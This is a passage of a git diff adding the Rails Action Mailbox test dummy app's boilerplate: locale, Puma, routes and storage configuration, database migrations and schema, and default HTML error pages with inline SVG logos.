+# This would use the information in config/locales/es.yml.
+#
+# To learn more about the API, please read the Rails Internationalization guide
+# at https://guides.rubyonrails.org/i18n.html.
+#
+# Be aware that YAML interprets the following case-insensitive strings as
+# booleans: `true`, `false`, `on`, `off`, `yes`, `no`. Therefore, these strings
+# must be quoted to be interpreted as strings. For example:
+#
+#     en:
+#       "yes": yup
+#       enabled: "ON"
+
+en:
+  hello: "Hello world"
diff --git a/actionmailbox/test/dummy/config/puma.rb b/actionmailbox/test/dummy/config/puma.rb
new file mode 100644
index 0000000000000..09a5c4b7865e7
--- /dev/null
+++ b/actionmailbox/test/dummy/config/puma.rb
@@ -0,0 +1,38 @@
+# This configuration file will be evaluated by Puma. The top-level methods that
+# are invoked here are part of Puma's configuration DSL. For more information
+# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
+
+# Puma can serve each request in a thread from an internal thread pool.
+# The `threads` method setting takes two numbers: a minimum and maximum.
+# Any libraries that use thread pools should be configured to match
+# the maximum value specified for Puma. Default is set to 5 threads for minimum
+# and maximum; this matches the default thread size of Active Record.
+max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
+min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count }
+threads min_threads_count, max_threads_count
+
+# Specifies that the worker count should equal the number of processors in production.
+if ENV["RAILS_ENV"] == "production"
+  worker_count = Integer(ENV.fetch("WEB_CONCURRENCY") { Concurrent.physical_processor_count })
+  workers worker_count if worker_count > 1
+end
+
+# Specifies the `worker_timeout` threshold that Puma will use to wait before
+# terminating a worker in development environments.
+worker_timeout 3600 if ENV.fetch("RAILS_ENV", "development") == "development"
+
+# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
+port ENV.fetch("PORT") { 3000 }
+
+# Specifies the `environment` that Puma will run in.
+environment ENV.fetch("RAILS_ENV") { "development" }
+
+# Specifies the `pidfile` that Puma will use.
+if ENV["PIDFILE"]
+  pidfile ENV["PIDFILE"]
+else
+  pidfile "tmp/pids/server.pid" if ENV.fetch("RAILS_ENV", "development") == "development"
+end
+
+# Allow puma to be restarted by `bin/rails restart` command.
+plugin :tmp_restart
diff --git a/actionmailbox/test/dummy/config/routes.rb b/actionmailbox/test/dummy/config/routes.rb
new file mode 100644
index 0000000000000..1daf9a4121a8b
--- /dev/null
+++ b/actionmailbox/test/dummy/config/routes.rb
@@ -0,0 +1,2 @@
+Rails.application.routes.draw do
+end
diff --git a/actionmailbox/test/dummy/config/storage.yml b/actionmailbox/test/dummy/config/storage.yml
new file mode 100644
index 0000000000000..b8a59e9a53a4d
--- /dev/null
+++ b/actionmailbox/test/dummy/config/storage.yml
@@ -0,0 +1,31 @@
+test:
+  service: Disk
+  root: <%= Rails.root.join("tmp/storage") %>
+
+local:
+  service: Disk
+  root: <%= Rails.root.join("storage") %>
+
+test_email:
+  service: Disk
+  root: <%= Rails.root.join("tmp/storage_email") %>
+
+# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
+# amazon:
+#   service: S3
+#   access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+#   secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+#   region: us-east-1
+#   bucket: your_own_bucket-<%= Rails.env %>
+
+# Remember not to checkin your GCS keyfile to a repository
+# google:
+#   service: GCS
+#   project: your_project
+#   credentials: <%= Rails.root.join("path/to/gcs.keyfile") %>
+#   bucket: your_own_bucket-<%= Rails.env %>
+
+# mirror:
+#   service: Mirror
+#   primary: local
+#   mirrors: [ amazon, google, microsoft ]
diff --git a/actionmailbox/test/dummy/db/migrate/20180208205311_create_action_mailbox_tables.rb b/actionmailbox/test/dummy/db/migrate/20180208205311_create_action_mailbox_tables.rb
new file mode 100644
index 0000000000000..2a1e2f7a8e2e1
--- /dev/null
+++ b/actionmailbox/test/dummy/db/migrate/20180208205311_create_action_mailbox_tables.rb
@@ -0,0 +1,19 @@
+class CreateActionMailboxTables < ActiveRecord::Migration[6.0]
+  def change
+    create_table :action_mailbox_inbound_emails, id: primary_key_type do |t|
+      t.integer :status, default: 0, null: false
+      t.string  :message_id, null: false
+      t.string  :message_checksum, null: false
+
+      t.timestamps
+
+      t.index [ :message_id, :message_checksum ], name: "index_action_mailbox_inbound_emails_uniqueness", unique: true
+    end
+  end
+
+  private
+    def primary_key_type
+      config = Rails.configuration.generators
+      config.options[config.orm][:primary_key_type] || :primary_key
+    end
+end
diff --git a/actionmailbox/test/dummy/db/migrate/20180212164506_create_active_storage_tables.active_storage.rb b/actionmailbox/test/dummy/db/migrate/20180212164506_create_active_storage_tables.active_storage.rb
new file mode 100644
index 0000000000000..87798267b4764
--- /dev/null
+++ b/actionmailbox/test/dummy/db/migrate/20180212164506_create_active_storage_tables.active_storage.rb
@@ -0,0 +1,36 @@
+# This migration comes from active_storage (originally 20170806125915)
+class CreateActiveStorageTables < ActiveRecord::Migration[5.2]
+  def change
+    create_table :active_storage_blobs do |t|
+      t.string   :key,          null: false
+      t.string   :filename,     null: false
+      t.string   :content_type
+      t.text     :metadata
+      t.string   :service_name, null: false
+      t.bigint   :byte_size,    null: false
+      t.string   :checksum,     null: false
+      t.datetime :created_at,   null: false
+
+      t.index [ :key ], unique: true
+    end
+
+    create_table :active_storage_attachments do |t|
+      t.string     :name,     null: false
+      t.references :record,   null: false, polymorphic: true, index: false
+      t.references :blob,     null: false
+
+      t.datetime :created_at, null: false
+
+      t.index [ :record_type, :record_id, :name, :blob_id ], name: "index_active_storage_attachments_uniqueness", unique: true
+      t.foreign_key :active_storage_blobs, column: :blob_id
+    end
+
+    create_table :active_storage_variant_records do |t|
+      t.belongs_to :blob, null: false, index: false
+      t.string :variation_digest, null: false
+
+      t.index %i[ blob_id variation_digest ], name: "index_active_storage_variant_records_uniqueness", unique: true
+      t.foreign_key :active_storage_blobs, column: :blob_id
+    end
+  end
+end
diff --git a/actionmailbox/test/dummy/db/schema.rb b/actionmailbox/test/dummy/db/schema.rb
new file mode 100644
index 0000000000000..4981e05a0b94c
--- /dev/null
+++ b/actionmailbox/test/dummy/db/schema.rb
@@ -0,0 +1,53 @@
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
+# This file is the source Rails uses to define your schema when running `bin/rails
+# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
+# be faster and is potentially less error prone than running all of your
+# migrations from scratch. Old migrations may fail to apply correctly if those
+# migrations use external dependencies or application code.
+#
+# It's strongly recommended that you check this file into your version control system.
+
+ActiveRecord::Schema[8.2].define(version: 2018_02_12_164506) do
+  create_table "action_mailbox_inbound_emails", force: :cascade do |t|
+    t.integer "status", default: 0, null: false
+    t.string "message_id", null: false
+    t.string "message_checksum", null: false
+    t.datetime "created_at", null: false
+    t.datetime "updated_at", null: false
+    t.index ["message_id", "message_checksum"], name: "index_action_mailbox_inbound_emails_uniqueness", unique: true
+  end
+
+  create_table "active_storage_attachments", force: :cascade do |t|
+    t.string "name", null: false
+    t.string "record_type", null: false
+    t.integer "record_id", null: false
+    t.integer "blob_id", null: false
+    t.datetime "created_at", precision: nil, null: false
+    t.index ["blob_id"], name: "index_active_storage_attachments_on_blob_id"
+    t.index ["record_type", "record_id", "name", "blob_id"], name: "index_active_storage_attachments_uniqueness", unique: true
+  end
+
+  create_table "active_storage_blobs", force: :cascade do |t|
+    t.string "key", null: false
+    t.string "filename", null: false
+    t.string "content_type"
+    t.text "metadata"
+    t.string "service_name", null: false
+    t.bigint "byte_size", null: false
+    t.string "checksum", null: false
+    t.datetime "created_at", precision: nil, null: false
+    t.index ["key"], name: "index_active_storage_blobs_on_key", unique: true
+  end
+
+  create_table "active_storage_variant_records", force: :cascade do |t|
+    t.integer "blob_id", null: false
+    t.string "variation_digest", null: false
+    t.index ["blob_id", "variation_digest"], name: "index_active_storage_variant_records_uniqueness", unique: true
+  end
+
+  add_foreign_key "active_storage_attachments", "active_storage_blobs", column: "blob_id"
+  add_foreign_key "active_storage_variant_records", "active_storage_blobs", column: "blob_id"
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon.png b/actionmailbox/test/dummy/lib/assets/.keep
similarity index 100%
rename from railties/lib/rails/generators/rails/app/templates/public/apple-touch-icon.png
rename to actionmailbox/test/dummy/lib/assets/.keep
diff --git a/railties/lib/rails/generators/rails/app/templates/public/favicon.ico b/actionmailbox/test/dummy/log/.keep
similarity index 100%
rename from railties/lib/rails/generators/rails/app/templates/public/favicon.ico
rename to actionmailbox/test/dummy/log/.keep
diff --git a/actionmailbox/test/dummy/public/400.html b/actionmailbox/test/dummy/public/400.html
new file mode 100644
index 0000000000000..f59c79ab82f05
--- /dev/null
+++ b/actionmailbox/test/dummy/public/400.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The server cannot process the request due to a client error (400 Bad Request)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/400.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm140.456 133.2831c-40.823 0-64.884-35.146-64.884-85.7015 0-50.5554 24.061-85.700907 64.884-85.700907 40.822 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.062 85.7015-64.884 85.7015zm0-133.2831c-17.573 0-22.71 21.8984-22.71 47.5816 0 25.6835 5.137 47.5815 22.71 47.5815 17.302 0 22.709-21.898 22.709-47.5815 0-25.6832-5.407-47.5816-22.709-47.5816z" fill="#f0eff0"/><path d="m123.606 85.4445c3.212 1.0523 5.538 4.2089 5.538 8.0301 0 6.1472-4.209 9.5254-11.298 9.5254h-15.617v-34.0033h14.565c7.089 0 11.353 3.1566 11.353 9.2484 0 3.6551-2.049 6.3134-4.541 7.1994zm-12.904-2.9905h5.095c2.603 0 3.988-.9968 3.988-3.1013 0-2.1044-1.385-3.0459-3.988-3.0459h-5.095zm0 6.6456v6.5902h5.981c2.492 0 3.877-1.3291 3.877-3.2674 0-2.049-1.385-3.3228-3.877-3.3228zm43.786 13.9004h-8.362v-1.274c-.831.831-3.323 1.717-5.981 1.717-4.929 0-9.083-2.769-9.083-8.0301 0-4.818 4.154-7.9193 9.581-7.9193 2.049 0 4.486.6646 5.483 1.3845v-1.606c0-1.606-.942-2.9905-3.046-2.9905-1.606 0-2.548.7199-2.935 1.8275h-8.197c.72-4.8181 4.985-8.6393 11.409-8.6393 7.088 0 11.131 3.7659 11.131 10.2453zm-8.362-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.434.7199-3.434 2.3813 0 1.7168 1.717 2.4367 3.434 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm27.996 6.9779v-1.994c-1.163 1.329-3.599 2.548-6.147 2.548-7.199 0-11.131-5.8151-11.131-13.0145s3.932-13.0143 11.131-13.0143c2.548 0 4.984 1.2184 6.147 2.5475v-13.0697h8.695v35.997zm0-9.1931v-6.5902c-.664-1.3291-2.159-2.326-3.821-2.326-2.99 0-4.763 2.4368-4.763 5.6488s1.773 5.5934 4.763 5.5934c1.717 0 3.157-.9415 3.821-2.326zm35.471-2.049h-3.101v11.2421h-8.806v-34.0033h15.285c7.31 0 12.35 4.1535 12.35 11.5744 0 5.1503-2.603 8.6947-6.757 10.2453l7.975 12.1836h-9.858zm-3.101-15.2849v8.1962h5.538c3.156 0 4.596-1.606 4.596-4.0981s-1.44-4.0981-4.596-4.0981zm36.957 17.8323h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm30.98 27.5234v-10.799c-1.163 1.329-3.6 2.548-6.147 2.548-7.2 0-11.132-5.9259-11.132-13.0145 0-7.144 3.932-13.0143 11.132-13.0143 2.547 0 4.984 1.2184 6.147 2.5475v-1.9937h8.695v33.726zm0-17.9981v-6.5902c-.665-1.3291-2.105-2.326-3.821-2.326-2.991 0-4.763 2.4368-4.763 5.6488s1.772 5.5934 4.763 5.5934c1.661 0 3.156-.9415 3.821-2.326zm36.789-15.7279v24.921h-8.695v-2.16c-1.329 1.551-3.821 2.714-6.646 2.714-5.482 0-8.75-3.5999-8.75-9.1379v-16.3371h8.64v14.288c0 2.1045.996 3.5997 3.212 3.5997 1.606 0 3.101-1.0522 3.544-2.769v-15.1187zm19.084 16.2263h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.963 5.095 11.963 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm13.428 11.0206h8.474c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.939-1.5506l-4.873-.9969c-4.154-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.762-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.741-8.2518zm27.538-.8861v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.993-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.871 0-9.193-2.769-9.193-9.0819z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>The server cannot process the request due to a client error.</strong> Please check the request and try again. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/actionmailbox/test/dummy/public/404.html b/actionmailbox/test/dummy/public/404.html
new file mode 100644
index 0000000000000..26d16027c6a4c
--- /dev/null
+++ b/actionmailbox/test/dummy/public/404.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The page you were looking for doesn't exist (404 Not found)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/404.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm165.328-35.41581-45.689 100.02991h26.224v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.184v-31.901l50.285-103.27391z" fill="#f0eff0"/><path d="m157.758 68.9967v34.0033h-7.199l-14.233-19.8814v19.8814h-8.584v-34.0033h8.307l13.125 18.7184v-18.7184zm28.454 21.5428c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.528 0c0-3.4336-1.496-5.8703-4.209-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.209-2.3813 4.209-5.8149zm13.184 3.8766v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm37.027 8.5839h-8.806v-34.0033h23.924v7.6978h-15.118v6.7564h13.9v7.5316h-13.9zm41.876-12.4605c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.529 0c0-3.4336-1.495-5.8703-4.208-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.208-2.3813 4.208-5.8149zm35.337-12.4605v24.921h-8.695v-2.16c-1.329 1.551-3.821 2.714-6.646 2.714-5.482 0-8.75-3.5999-8.75-9.1379v-16.3371h8.64v14.288c0 2.1045.997 3.5997 3.212 3.5997 1.606 0 3.101-1.0522 3.544-2.769v-15.1187zm4.076 24.921v-24.921h8.694v2.1598c1.385-1.5506 3.822-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.639v-14.2327c0-2.049-1.053-3.5443-3.268-3.5443-1.717 0-3.156.9969-3.6 2.7136v15.0634zm44.113 0v-1.994c-1.163 1.329-3.6 2.548-6.147 2.548-7.2 0-11.132-5.8151-11.132-13.0145s3.932-13.0143 11.132-13.0143c2.547 0 4.984 1.2184 6.147 2.5475v-13.0697h8.695v35.997zm0-9.1931v-6.5902c-.665-1.3291-2.16-2.326-3.821-2.326-2.991 0-4.763 2.4368-4.763 5.6488s1.772 5.5934 4.763 5.5934c1.717 0 3.156-.9415 3.821-2.326z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>The page you were looking for doesn't exist.</strong> You may have mistyped the address or the page may have moved. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/actionmailbox/test/dummy/public/422.html b/actionmailbox/test/dummy/public/422.html
new file mode 100644
index 0000000000000..ed5a5805d0e5f
--- /dev/null
+++ b/actionmailbox/test/dummy/public/422.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The change you wanted was rejected (422 Unprocessable Entity)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/422.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm130.453 51.63681c0-8.9215-6.218-15.4099-15.681-15.4099-10.273 0-15.95 7.5698-16.491 16.4913h-44.608c3.244-30.8199 25.683-55.421707 61.099-55.421707 36.498 0 59.477 20.816907 59.477 51.636807 0 21.3577-14.869 36.7676-31.901 52.7186l-27.305 27.035h59.747v37.308h-120.306v-27.846l57.044-56.7736c11.084-11.8954 18.925-20.0059 18.925-29.7385zm140.455 0c0-8.9215-6.218-15.4099-15.68-15.4099-10.274 0-15.951 7.5698-16.492 16.4913h-44.608c3.245-30.8199 25.684-55.421707 61.1-55.421707 36.497 0 59.477 20.816907 59.477 51.636807 0 21.3577-14.87 36.7676-31.902 52.7186l-27.305 27.035h59.747v37.308h-120.305v-27.846l57.043-56.7736c11.085-11.8954 18.925-20.0059 18.925-29.7385z" fill="#f0eff0"/><path d="m19.3936 103.554c-8.9715 0-14.84183-5.0952-14.84183-14.4544v-20.1029h8.86083v19.3276c0 4.8181 2.2706 7.3102 5.981 7.3102 3.6551 0 5.9257-2.4921 5.9257-7.3102v-19.3276h8.8608v20.1583c0 9.3038-5.8149 14.399-14.7865 14.399zm18.734-.554v-24.921h8.6947v2.1598c1.3845-1.5506 3.8212-2.7136 6.701-2.7136 5.538 0 8.8054 3.5997 8.8054 9.1377v16.3371h-8.6393v-14.2327c0-2.049-1.0522-3.5443-3.2674-3.5443-1.7168 0-3.1567.9969-3.5997 2.7136v15.0634zm36.8584-1.994v10.799h-8.6946v-33.726h8.6946v1.9937c1.163-1.3291 3.5997-2.5475 6.1472-2.5475 7.1994 0 11.1314 5.8703 11.1314 13.0143 0 7.0886-3.932 13.0145-11.1314 13.0145-2.5475 0-4.9842-1.219-6.1472-2.548zm0-13.7893v6.5902c.6646 1.3845 2.1599 2.326 3.8213 2.326 2.9905 0 4.7626-2.3814 4.7626-5.5934s-1.7721-5.6488-4.7626-5.6488c-1.7168 0-3.1567.9969-3.8213 2.326zm36.789-9.2485v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.6949v-24.921h8.6949v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm26.769 12.5713c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.528 0c0-3.4336-1.496-5.8703-4.209-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.209-2.3813 4.209-5.8149zm10.352 0c0-7.6978 5.095-13.0143 12.571-13.0143 6.701 0 10.855 3.9874 11.574 9.8023h-8.417c-.222-1.4953-1.385-2.6029-3.157-2.6029-2.437 0-3.987 2.2706-3.987 5.8149s1.55 5.7595 3.987 5.7595c1.772 0 2.935-1.0522 3.157-2.5475h8.417c-.719 5.7596-4.873 9.8025-11.574 9.8025-7.476 0-12.571-5.3167-12.571-13.0145zm42.013 3.7658h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.516-13.0143 7.642 0 11.962 5.095 11.962 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.434 1.2737-3.988 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.544-3.5997zm13.428 11.0206h8.473c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.938-1.5506l-4.874-.9969c-4.153-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.763-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.74-8.2518zm24.269 0h8.474c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.939-1.5506l-4.873-.9969c-4.154-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.763-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.741-8.2518zm47.918 7.6978h-8.363v-1.274c-.831.831-3.323 1.717-5.981 1.717-4.929 0-9.082-2.769-9.082-8.0301 0-4.818 4.153-7.9193 9.581-7.9193 2.049 0 4.485.6646 5.482 1.3845v-1.606c0-1.606-.941-2.9905-3.046-2.9905-1.606 0-2.547.7199-2.935 1.8275h-8.196c.72-4.8181 4.984-8.6393 11.408-8.6393 7.089 0 11.132 3.7659 11.132 